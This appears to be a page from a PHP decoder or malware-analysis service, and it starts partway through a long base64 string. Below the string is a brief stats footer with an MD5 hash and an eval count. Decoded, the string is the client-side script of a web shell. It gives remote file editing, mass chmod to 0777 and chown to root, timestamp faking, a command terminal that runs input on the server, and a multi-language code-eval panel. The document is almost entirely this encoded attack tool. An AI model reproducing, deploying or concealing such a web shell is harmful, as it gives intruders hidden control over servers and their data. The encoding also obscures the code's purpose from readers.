WRpdFN1Y2Nlc3M9ZmFsc2U7cHJlc2VydmVUaW1lc3RhbXA9J2ZhbHNlJztpZigkKCcuY0JveCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKSlwcmVzZXJ2ZVRpbWVzdGFtcD0ndHJ1ZSc7c2VuZF9wb3N0KHtlZGl0VHlwZTplZGl0VHlwZSxlZGl0RmlsZW5hbWU6ZWRpdEZpbGVuYW1lLGVkaXRJbnB1dDplZGl0SW5wdXQscHJlc2VydmVUaW1lc3RhbXA6cHJlc2VydmVUaW1lc3RhbXB9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtlZGl0U3VjY2Vzcz0nc3VjY2Vzcyc7dmlldyhlZGl0RmlsZW5hbWUsZWRpdFR5cGUscHJlc2VydmVUaW1lc3RhbXApfWVsc2UgZWRpdFN1Y2Nlc3M9J2Vycm9yJ30pfWZ1bmN0aW9uIG1hc3NfYWN0KHR5cGUpe2J1ZmZlcj1nZXRfYWxsX2Nib3hfc2VsZWN0ZWQoJ3hwbFRhYmxlJywneHBsX2hyZWYnKTtpZigodHlwZT09J2N1dCcpfHwodHlwZT09J2NvcHknKSl7bG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlckxlbmd0aCcsYnVmZmVyLmxlbmd0aCk7bG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlckFjdGlvbicsdHlwZSk7JC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpe2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdidWZmZXJfJytpLHYpfSl9ZWxzZSBpZih0eXBlPT0ncGFzdGUnKXtidWZmZXJMZW5ndGg9bG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlckxlbmd0aCcpO2J1ZmZlckFjdGlvbj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyQWN0aW9uJyk7aWYoYnVmZmVyTGVuZ3RoPjApe21hc3NCdWZmZXI9Jyc7Zm9yKHZhciBpPTA7aTxidWZmZXJMZW5ndGg7aSsrKXtpZigoYnVmZj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyXycraSkpKXttYXNzQnVmZmVyKz1idWZmKydcbid9fW1hc3NCdWZmZXI9JC50cmltKG1hc3NCdWZmZXIpO2lmKGJ1ZmZlckFjdGlvbj09J2N1dCcpdGl0bGU9J21vdmUnO2Vsc2UgaWYoYnVmZmVyQWN0aW9uPT0nY29weScpdGl0bGU9J2NvcHknO2NvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjbGFzcz0nbWFzc0J1ZmZlcicgc3R5bGU9J2hlaWdodDoxMjBweDttaW4taGVpZ2h0OjEyMHB4OycgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPiIrdGl0bGUrIiBoZXJlPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb19wYXN0ZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygncGFzdGUnKTtcIj4iK3RpdGxlKyI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh1Y2ZpcnN0KHRpdGxlKSxjb250ZW50KX19ZWxzZSBpZigodHlwZT09J2V4dHJhY3QgKHRhciknKXx8KHR5cGU9PSdleHRyYWN0ICh0YXIuZ3opJyl8fCh0eXBlPT0nZXh0cmFjdCAoemlwKScpKXtpZih0eXBlPT0nZXh0cmFjdCAodGFyKScpYXJjVHlwZT0ndW50YXInO2Vsc2UgaWYodHlwZT09J2V4dHJhY3QgKHRhci5neiknKWFyY1R5cGU9J3VudGFyZ3onO2Vsc2UgaWYodHlwZT09J2V4dHJhY3QgKHppcCknKWFyY1R5cGU9J3VuemlwJztpZihidWZmZXIubGVuZ3RoPjApe21hc3NCdWZmZXI9Jyc7JC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpe21hc3NCdWZmZXIrPXYrJ1xuJ30pO21hc3NCdWZmZXI9JC50cmltKG1hc3NCdWZmZXIpO3RpdGxlPXR5cGU7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5FeHRyYWN0IHRvPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrYXJjVHlwZSsiJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1hc3NfYWN0X2dvKCciK2FyY1R5cGUrIicpO1wiPmV4dHJhY3Q8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh1Y2ZpcnN0KHRpdGxlKSxjb250ZW50KX19ZWxzZSBpZigodHlwZT09J2NvbXByZXNzICh0YXIpJyl8fCh0eXBlPT0nY29tcHJlc3MgKHRhci5neiknKXx8KHR5cGU9PSdjb21wcmVzcyAoemlwKScpKXtkYXRlPW5ldyBEYXRlKCk7cmFuZD1kYXRlLmdldFRpbWUoKTtpZih0eXBlPT0nY29tcHJlc3MgKHRhciknKXthcmNUeXBlPSd0YXInO2FyY0ZpbGVuYW1lPXJhbmQrJy50YXInfWVsc2UgaWYodHlwZT09J2NvbXByZXNzICh0YXIuZ3opJyl7YXJjVHlwZT0ndGFyZ3onO2FyY0ZpbGVuYW1lPXJhbmQrJy50YXIuZ3onfWVsc2UgaWYodHlwZT09J2NvbXByZXNzICh6aXApJyl7YXJjVHlwZT0nemlwJzthcmNGaWxlbmFtZT1yYW5kKycuemlwJ31pZihidWZmZXIubGVuZ3RoPjApe21hc3NCdWZmZXI9Jyc7JC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpe21hc3NCdWZmZXIrPXYrJ1xuJ30pO21hc3NCdWZmZXI9JC50cmltKG1hc3NCdWZmZXIpO3RpdGxlPXR5cGU7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5BcmNoaXZlPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSciK2FyY0ZpbGVuYW1lKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK2FyY1R5cGUrIicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIithcmNUeXBlKyInKTtcIj5jb21wcmVzczwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHVjZmlyc3QodGl0bGUpLGNvbnRlbnQpfX1lbHNlIGlmKHR5cGUhPScnKXtpZihidWZmZXIubGVuZ3RoPjApe21hc3NCdWZmZXI9Jyc7JC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpe21hc3NCdWZmZXIrPXYrJ1xuJ30pO21hc3NCdWZmZXI9JC50cmltKG1hc3NCdWZmZXIpO3RpdGxlPXR5cGU7bGluZT0nJztpZih0eXBlPT0nY2htb2QnKWxpbmU9Ijx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Y2htb2Q8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JzA3NzcnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4iO2Vsc2UgaWYodHlwZT09J2Nob3duJylsaW5lPSI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPmNob3duPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSdyb290JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fIit0eXBlKyInKTtcIj48L3RkPjwvdHI+IjtlbHNlIGlmKHR5cGU9PSd0b3VjaCcpe3ZhciBub3c9bmV3IERhdGUoKTtsaW5lPSI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPnRvdWNoPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSciK25vdy50b0dNVFN0cmluZygpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4ifWNvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjbGFzcz0nbWFzc0J1ZmZlcicgc3R5bGU9J2hlaWdodDoxMjBweDttaW4taGVpZ2h0OjEyMHB4Oycgd3JhcD0nb2ZmJyBkaXNhYmxlZD4iK21hc3NCdWZmZXIrIjwvdGV4dGFyZWE+PC90ZD48L3RyPiIrbGluZSsiPHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibWFzc19hY3RfZ28oJyIrdHlwZSsiJyk7XCI+Iit0aXRsZSsiPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godWNmaXJzdCh0aXRsZSksY29udGVudCl9fSQoJy5jQm94U2VsZWN0ZWQnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7eHBsX3VwZGF0ZV9zdGF0dXMoKX1mdW5jdGlvbiBtYXNzX2FjdF9nb190YXIoKXttYXNzX2FjdF9nbygndGFyJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ29fdGFyZ3ooKXttYXNzX2FjdF9nbygndGFyZ3onKX1mdW5jdGlvbiBtYXNzX2FjdF9nb196aXAoKXttYXNzX2FjdF9nbygnemlwJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ29fdW50YXIoKXttYXNzX2FjdF9nbygndW50YXInKX1mdW5jdGlvbiBtYXNzX2FjdF9nb191bnRhcmd6KCl7bWFzc19hY3RfZ28oJ3VudGFyZ3onKX1mdW5jdGlvbiBtYXNzX2FjdF9nb191bnppcCgpe21hc3NfYWN0X2dvKCd1bnppcCcpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX3Bhc3RlKCl7bWFzc19hY3RfZ28oJ3Bhc3RlJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ29fY2htb2QoKXttYXNzX2FjdF9nbygnY2htb2QnKX1mdW5jdGlvbiBtYXNzX2FjdF9nb19jaG93bigpe21hc3NfYWN0X2dvKCdjaG93bicpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX3RvdWNoKCl7bWFzc19hY3RfZ28oJ3RvdWNoJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ28obWFzc1R5cGUpe21hc3NCdWZmZXI9JC50cmltKCQoJy5tYXNzQnVmZmVyJykudmFsKCkpO21hc3NQYXRoPWdldF9jd2QoKTttYXNzVmFsdWU9Jyc7aWYobWFzc1R5cGU9PSdwYXN0ZScpe2J1ZmZlckxlbmd0aD1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyTGVuZ3RoJyk7YnVmZmVyQWN0aW9uPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJBY3Rpb24nKTtpZihidWZmZXJMZW5ndGg+MCl7bWFzc0J1ZmZlcj0nJztmb3IodmFyIGk9MDtpPGJ1ZmZlckxlbmd0aDtpKyspe2lmKChidWZmPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJfJytpKSkpe21hc3NCdWZmZXIrPWJ1ZmYrJ1xuJ319bWFzc0J1ZmZlcj0kLnRyaW0obWFzc0J1ZmZlcik7aWYoYnVmZmVyQWN0aW9uPT0nY29weScpbWFzc1R5cGU9J2NvcHknO2Vsc2UgaWYoYnVmZmVyQWN0aW9uPT0nY3V0JyltYXNzVHlwZT0nY3V0J319ZWxzZSBpZigobWFzc1R5cGU9PSdjaG1vZCcpfHwobWFzc1R5cGU9PSdjaG93bicpfHwobWFzc1R5cGU9PSd0b3VjaCcpKXttYXNzVmFsdWU9JCgnLm1hc3NWYWx1ZScpLnZhbCgpfWVsc2UgaWYoKG1hc3NUeXBlPT0ndGFyJyl8fChtYXNzVHlwZT09J3Rhcmd6Jyl8fChtYXNzVHlwZT09J3ppcCcpKXttYXNzVmFsdWU9JCgnLm1hc3NWYWx1ZScpLnZhbCgpfWVsc2UgaWYoKG1hc3NUeXBlPT0ndW50YXInKXx8KG1hc3NUeXBlPT0ndW50YXJneicpfHwobWFzc1R5cGU9PSd1bnppcCcpKXttYXNzVmFsdWU9JCgnLm1hc3NWYWx1ZScpLnZhbCgpfWlmKG1hc3NCdWZmZXIhPScnKXtzZW5kX3Bvc3Qoe21hc3NUeXBlOm1hc3NUeXBlLG1hc3NCdWZmZXI6bWFzc0J1ZmZlcixtYXNzUGF0aDptYXNzUGF0aCxtYXNzVmFsdWU6bWFzc1ZhbHVlfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7JCgnLmJveHJlc3VsdCcpLmh0bWwocmVzKycgT3BlcmF0aW9uKHMpIHN1Y2NlZWRlZCcpfWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTtuYXZpZ2F0ZShnZXRfY3dkKCkpfSl9fWZ1bmN0aW9uIHhwbF91cGRhdGVfc3RhdHVzKCl7dG90YWxTZWxlY3RlZD0kKCcjeHBsVGFibGUnKS5maW5kKCcuY0JveFNlbGVjdGVkJykubm90KCcuY0JveEFsbCcpLmxlbmd0aDtpZih0b3RhbFNlbGVjdGVkPT0wKSQoJy54cGxTZWxlY3RlZCcpLmh0bWwoJycpO2Vsc2UgJCgnLnhwbFNlbGVjdGVkJykuaHRtbCgnLCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkJyl9ZnVuY3Rpb24geHBsX2JpbmQoKXskKCcubmF2aWdhdGUnKS5vZmYoJ2NsaWNrJyk7JCgnLm5hdmlnYXRlJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPXhwbF9ocmVmKCQodGhpcykpO25hdmlnYXRlKHBhdGgpO2hpZGVfYm94KCl9KTskKCcubmF2YmFyJykub2ZmKCdjbGljaycpOyQoJy5uYXZiYXInKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9JCh0aGlzKS5hdHRyKCdkYXRhLXBhdGgnKTtuYXZpZ2F0ZShwYXRoKTtoaWRlX2JveCgpfSk7JCgnLm5ld2ZvbGRlcicpLm9mZignY2xpY2snKTskKCcubmV3Zm9sZGVyJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7bmV3Zm9sZGVyKHBhdGgpfSk7JCgnLm5ld2ZpbGUnKS5vZmYoJ2NsaWNrJyk7JCgnLm5ld2ZpbGUnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9aHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTtuZXdmaWxlKHBhdGgpfSk7JCgnLmRlbCcpLm9mZignY2xpY2snKTskKCcuZGVsJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7ZGVsKHBhdGgpfSk7JCgnLnZpZXcnKS5vZmYoJ2NsaWNrJyk7JCgnLnZpZXcnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9eHBsX2hyZWYoJCh0aGlzKSk7dmlldyhwYXRoLCdhdXRvJyk7aGlkZV9ib3goKX0pOyQoJy5oZXgnKS5vZmYoJ2NsaWNrJyk7JCgnLmhleCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD14cGxfaHJlZigkKHRoaXMpKTt2aWV3KHBhdGgsJ2hleCcpfSk7JCgnI3ZpZXdGdWxsc2l6ZScpLm9mZignY2xpY2snKTskKCcjdmlld0Z1bGxzaXplJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtzcmM9JCgnI3ZpZXdJbWFnZScpLmF0dHIoJ3NyYycpO3dpbmRvdy5vcGVuKHNyYyl9KTskKCcuZWRpdCcpLm9mZignY2xpY2snKTskKCcuZWRpdCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD14cGxfaHJlZigkKHRoaXMpKTt2aWV3KHBhdGgsJ2VkaXQnKTtoaWRlX2JveCgpfSk7JCgnLnJlbicpLm9mZignY2xpY2snKTskKCcucmVuJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7cmVuKHBhdGgpfSk7JCgnLmFjdGlvbicpLm9mZignY2xpY2snKTskKCcuYWN0aW9uJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7YWN0aW9uKHBhdGgsJ2ZpbGUnKX0pOyQoJy5hY3Rpb25mb2xkZXInKS5vZmYoJ2NsaWNrJyk7JCgnLmFjdGlvbmZvbGRlcicpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD1odG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpO2FjdGlvbihwYXRoLCdkaXInKX0pOyQoJy5hY3Rpb25kb3QnKS5vZmYoJ2NsaWNrJyk7JCgnLmFjdGlvbmRvdCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD1odG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpO2FjdGlvbihwYXRoLCdkb3QnKX0pOyQoJy5kbCcpLm9mZignY2xpY2snKTskKCcuZGwnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9aHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTskKCcjZm9ybScpLmFwcGVuZCgiPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZG93bmxvYWQnIHZhbHVlPSciK3BhdGgrIic+Iik7JCgnI2Zvcm0nKS5zdWJtaXQoKTskKCcjZm9ybScpLmh0bWwoJycpO2hpZGVfYm94KCl9KTskKCcudWwnKS5vZmYoJ2NsaWNrJyk7JCgnLnVsJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPXhwbF9ocmVmKCQodGhpcykpO25hdmlnYXRlKHBhdGgsZmFsc2UpO3BhdGg9aHRtbF9zYWZlKHBhdGgpO3VsKHBhdGgpO2hpZGVfYm94KCl9KTskKCcuZmluZCcpLm9mZignY2xpY2snKTskKCcuZmluZCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD14cGxfaHJlZigkKHRoaXMpKTtuYXZpZ2F0ZShwYXRoLGZhbHNlKTtwYXRoPWh0bWxfc2FmZShwYXRoKTtmaW5kKHBhdGgpO2hpZGVfYm94KCl9KTskKCcjbWFzc0FjdGlvbicpLm9mZignY2xpY2snKTskKCcjbWFzc0FjdGlvbicpLm9uKCdjaGFuZ2UnLGZ1bmN0aW9uKGUpe3R5cGU9JCgnI21hc3NBY3Rpb24nKS52YWwoKTttYXNzX2FjdCh0eXBlKTskKCcjbWFzc0FjdGlvbicpLnZhbCgnQWN0aW9uJyl9KTtjYm94X2JpbmQoJ3hwbFRhYmxlJywneHBsX3VwZGF0ZV9zdGF0dXMnKX1mdW5jdGlvbiB4cGxfaHJlZihlbCl7cmV0dXJuIGVsLnBhcmVudCgpLnBhcmVudCgpLmF0dHIoJ2RhdGEtcGF0aCcpfWZ1bmN0aW9uIG11bHRpbWVkaWEocGF0aCl7dmFyIGE9JCgndmlkZW8nKS5nZXQoMCk7c2VuZF9wb3N0KHttdWx0aW1lZGlhOnBhdGh9LGZ1bmN0aW9uKHJlcyl7YS5zcmM9cmVzfSk7aGlkZV9ib3goKX0kKCcjdGVybWluYWxJbnB1dCcpLm9uKCdrZXlkb3duJyxmdW5jdGlvbihlKXtpZihlLmtleUNvZGU9PTEzKXtjbWQ9JCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwoKTt0ZXJtaW5hbEhpc3RvcnkucHVzaChjbWQpO3Rlcm1pbmFsSGlzdG9yeVBvcz10ZXJtaW5hbEhpc3RvcnkubGVuZ3RoO2lmKGNtZD09J2NsZWFyJ3x8Y21kPT0nY2xzJyl7JCgnI3Rlcm1pbmFsT3V0cHV0JykuaHRtbCgnJyl9ZWxzZSBpZigocGF0aD1jbWQubWF0Y2goL2NkKC4qKS9pKSl8fChwYXRoPWNtZC5tYXRjaCgvXihbYS16XTopJC9pKSkpe3BhdGg9JC50cmltKHBhdGhbMV0pO25hdmlnYXRlKHBhdGgpfWVsc2UgaWYoY21kIT0nJyl7c2VuZF9wb3N0KHt0ZXJtaW5hbElucHV0OmNtZH0sZnVuY3Rpb24ocmVzKXtjd2Q9aHRtbF9zYWZlKGdldF9jd2QoKSk7cmVzPSc8c3BhbiBjbGFzcz1cJ3N0cm9uZ1wnPicrY3dkKycmZ3Q7PC9zcGFuPicraHRtbF9zYWZlKGNtZCkrJ1xuJytyZXMrJ1xuJzskKCcjdGVybWluYWxPdXRwdXQnKS5hcHBlbmQocmVzKTtib3R0b209JChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpOyQod2luZG93KS5zY3JvbGxUb3AoYm90dG9tKX0pfSQoJyN0ZXJtaW5hbElucHV0JykudmFsKCcnKTtzZXRUaW1lb3V0KCIkKCcjdGVybWluYWxJbnB1dCcpLmZvY3VzKCkiLDEwMCl9ZWxzZSBpZihlLmtleUNvZGU9PTM4KXtpZih0ZXJtaW5hbEhpc3RvcnlQb3M+MCl7dGVybWluYWxIaXN0b3J5UG9zLS07JCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pO2lmKHRlcm1pbmFsSGlzdG9yeVBvczwwKXRlcm1pbmFsSGlzdG9yeVBvcz0wfX1lbHNlIGlmKGUua2V5Q29kZT09NDApe2lmKHRlcm1pbmFsSGlzdG9yeVBvczx0ZXJtaW5hbEhpc3RvcnkubGVuZ3RoLTEpe3Rlcm1pbmFsSGlzdG9yeVBvcysrOyQoJyN0ZXJtaW5hbElucHV0JykudmFsKHRlcm1pbmFsSGlzdG9yeVt0ZXJtaW5hbEhpc3RvcnlQb3NdKTtpZih0ZXJtaW5hbEhpc3RvcnlQb3M+dGVybWluYWxIaXN0b3J5Lmxlbmd0aCl0ZXJtaW5hbEhpc3RvcnlQb3M9dGVybWluYWxIaXN0b3J5Lmxlbmd0aH19Zml4X3RhYmNoYXIodGhpcyxlKX0pO2Z1bmN0aW9uIGV2YWxfZ28oKXtldmFsVHlwZT0kKCcjZXZhbFR5cGUnKS52YWwoKTtldmFsSW5wdXQ9JCgnI2V2YWxJbnB1dCcpLnZhbCgpO2V2YWxPcHRpb25zPSQoJyNldmFsT3B0aW9ucycpLnZhbCgpO2V2YWxBcmd1bWVudHM9JCgnI2V2YWxBcmd1bWVudHMnKS52YWwoKTtpZihldmFsT3B0aW9ucz09J09wdGlvbnMvU3dpdGNoZXMnKWV2YWxPcHRpb25zPScnO2lmKGV2YWxBcmd1bWVudHM9PSdBcmd1bWVudHMnKWV2YWxBcmd1bWVudHM9Jyc7aWYoJC50cmltKGV2YWxJbnB1dCkhPScnKXtzZW5kX3Bvc3Qoe2V2YWxJbnB1dDpldmFsSW5wdXQsZXZhbFR5cGU6ZXZhbFR5cGUsZXZhbE9wdGlvbnM6ZXZhbE9wdGlvbnMsZXZhbEFyZ3VtZW50czpldmFsQXJndW1lbnRzfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7c3BsaXRzPXJlcy5zcGxpdCgne1t8bnVsbHN8XX0nKTtpZihzcGxpdHMubGVuZ3RoPT0yKXtvdXRwdXQ9c3BsaXRzWzBdKyI8aHI+IitzcGxpdHNbMV07JCgnI2V2YWxPdXRwdXQnKS5odG1sKG91dHB1dCl9ZWxzZXskKCcjZXZhbE91dHB1dCcpLmh0bWwocmVzKX19fSl9fWZ1bmN0aW9uIGV2YWxfaW5pdCgpe2lmKChldmFsU3VwcG9ydGVkPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdldmFsU3VwcG9ydGVkJykpKXtldmFsX2JpbmQoKTtvdXRwdXQoImV2YWwgOiAiK2V2YWxTdXBwb3J0ZWQpO2V2YWxSZWFkeT10cnVlfWVsc2V7c2VuZF9wb3N0KHtldmFsR2V0U3VwcG9ydGVkOiJldmFsR2V0U3VwcG9ydGVkIn0sZnVuY3Rpb24ocmVzKXtldmFsUmVhZHk9dHJ1ZTtpZihyZXMhPSJlcnJvciIpe2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdldmFsU3VwcG9ydGVkJyxyZXMpO2V2YWxTdXBwb3J0ZWQ9cmVzO2V2YWxfYmluZCgpO291dHB1dCgiZXZhbCA6ICIrZXZhbFN1cHBvcnRlZCl9fSl9fWZ1bmN0aW9uIGV2YWxfYmluZCgpe2lmKChldmFsU3VwcG9ydGVkIT1udWxsKSYmKGV2YWxTdXBwb3J0ZWQhPScnKSl7c3BsaXRzPWV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTskLmVhY2goc3BsaXRzLGZ1bmN0aW9uKGksayl7JCgnI2V2YWxUeXBlJykuYXBwZW5kKCI8b3B0aW9uPiIraysiPC9vcHRpb24+Iil9KX0kKCcjZXZhbFR5cGUnKS5vbignY2hhbmdlJyxmdW5jdGlvbihlKXtpZigkKCcjZXZhbFR5cGUnKS52YWwoKT09J3BocCcpeyQoJyNldmFsQWRkaXRpb25hbCcpLmhpZGUoKX1lbHNleyQoJyNldmFsQWRkaXRpb25hbCcpLnNob3coKX19KTskKCcjZXZhbE9wdGlvbnMnKS5vbignZm9jdXMnLGZ1bmN0aW9uKGUpe29wdGlvbnM9JCgnI2V2YWxPcHRpb25zJyk7aWYob3B0aW9ucy52YWwoKT09J09wdGlvbnMvU3dpdGNoZXMnKW9wdGlvbnMudmFsKCcnKX0pOyQoJyNldmFsT3B0aW9ucycpLm9uKCdibHVyJyxmdW5jdGlvbihlKXtvcHRpb25zPSQoJyNldmFsT3B0aW9ucycpO2lmKCQudHJpbShvcHRpb25zLnZhbCgpKT09Jycpb3B0aW9ucy52YWwoJ09wdGlvbnMvU3dpdGNoZXMnKX0pOyQoJyNldmFsQXJndW1lbnRzJykub24oJ2ZvY3VzJyxmdW5jdGlvbihlKXthcmdzPSQoJyNldmFsQXJndW1lbnRzJyk7aWYoYXJncy52YWwoKT09J0FyZ3VtZW50cycpYXJncy52YWwoJycpfSk7JCgnI2V2YWxBcmd1bWVudHMnKS5vbignYmx1cicsZnVuY3Rpb24oZSl7YXJncz0kKCcjZXZhbEFyZ3VtZW50cycpO2lmKCQudHJpbShhcmdzLnZhbCgpKT09JycpYXJncy52YWwoJ0FyZ3VtZW50cycpfSk7JCgnI2V2YWxJbnB1dCcpLm9uKCdrZXlkb3duJyxmdW5jdGlvbihlKXtpZihlLmN0cmxLZXkmJihlLmtleUNvZGU9PTEwfHxlLmtleUNvZGU9PTEzKSl7ZXZhbF9nbygpfWZpeF90YWJjaGFyKHRoaXMsZSl9KX08P3BocApmb3JlYWNoKCRHTE9CQUxTWydtJ10gYXMgJGspewplY2hvICJmdW5jdGlvbiAiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIigpeyAiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2pzX29udGFic2VsZWN0ZWQnXS4iIH1cbiI7fT8+Cjwvc2NyaXB0Pgo8IS0tc2NyaXB0IGVuZC0tPgo8L2JvZHk+CjwvaHRtbD48P3BocCBkaWUoKTs/Pgo=
Function Calls
None |
Stats
MD5 | e42875bb410fc1c7c1017ea79efa9c22 |
Eval Count | 0 |
